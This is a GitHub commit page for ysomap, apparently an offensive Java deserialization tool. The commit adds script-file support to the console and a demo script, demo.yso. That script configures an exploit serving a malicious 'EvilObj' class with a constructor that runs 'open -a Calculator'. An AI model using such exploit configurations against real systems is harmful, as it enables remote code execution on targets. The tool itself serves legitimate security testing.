Skip to content

Commit

Permalink
add script support
Browse files Browse the repository at this point in the history
  • Loading branch information
wh1t3p1g committed Jun 16, 2021
1 parent 938ea8c commit 11d27b2
Show file tree
Hide file tree
Showing 3 changed files with 51 additions and 1 deletion.
31 changes: 30 additions & 1 deletion cli/src/main/java/ysomap/cli/Console.java
Original file line number Diff line number Diff line change
Expand Up @@ -17,10 +17,13 @@
import ysomap.common.exception.ArgumentsMissMatchException;
import ysomap.common.exception.BaseException;
import ysomap.common.exception.YsoClassNotFoundException;
import ysomap.common.exception.YsoFileNotFoundException;
import ysomap.common.util.Logger;

import java.io.File;
import java.io.IOException;
import java.lang.annotation.Annotation;
import java.nio.file.Files;
import java.util.*;

import static org.jline.builtins.Completers.TreeCompleter.node;
Expand Down Expand Up @@ -116,6 +119,9 @@ public void dispatch(List<String> words) throws Exception {
case "kill":
kill();
break;
case "script":
script();
break;
case "run":
curSession.run();
break;
Expand Down Expand Up @@ -219,7 +225,7 @@ public Completer makeCompleters(){
);

Completer commonCompleter = new Completers.TreeCompleter(
node("help","exit","run","sessions","kill","stop"));
node("help","exit","run","sessions","kill","stop","script"));
return new AggregateCompleter(useCompleter, listCompleter, showCompleter, setCompleter, sessionCompleter,commonCompleter);
}

Expand Down Expand Up @@ -354,6 +360,29 @@ public void kill() throws ArgumentsMissMatchException {
}
}

public void script() throws Exception {
if(args.size() == 1){
String filepath = args.get(0);
File file = new File(filepath);
if(!file.exists()){
throw new YsoFileNotFoundException(filepath);
}
Logger.success("Start to parse script file{"+filepath+"}");
List<String> contents = Files.readAllLines(file.toPath());
Parser parser = new DefaultParser();
ParsedLine parsedLine = null;
List<String> words;
for(String line:contents){
parsedLine = parser.parse(line, line.length()+1, Parser.ParseContext.ACCEPT_LINE);
words = parsedLine.words();
dispatch(words);
}
Logger.success("Script loaded!");
}else{
throw new ArgumentsMissMatchException("script /path/to/script");
}
}

public void help(){
String usage = "help print this message\n" +
"list <type> list exploits, bullets and payloads\n" +
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
package ysomap.common.exception;

/**
* @author wh1t3P1g
* @since 2021/6/16
*/
public class YsoFileNotFoundException extends BaseException{

public YsoFileNotFoundException(String message) {
super("[-] script file not found. Filepath: "+message);
}
}
9 changes: 9 additions & 0 deletions scripts/demo.yso
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
use exploit SimpleHTTPServer
use payload EvilFileWrapper
use bullet ClassWithEvilConstructor
set lport 8081
set path /EvilObj.class
set classname EvilObj
set body "open -a Calculator"
set type class
run

0 comments on commit 11d27b2

Please sign in to comment.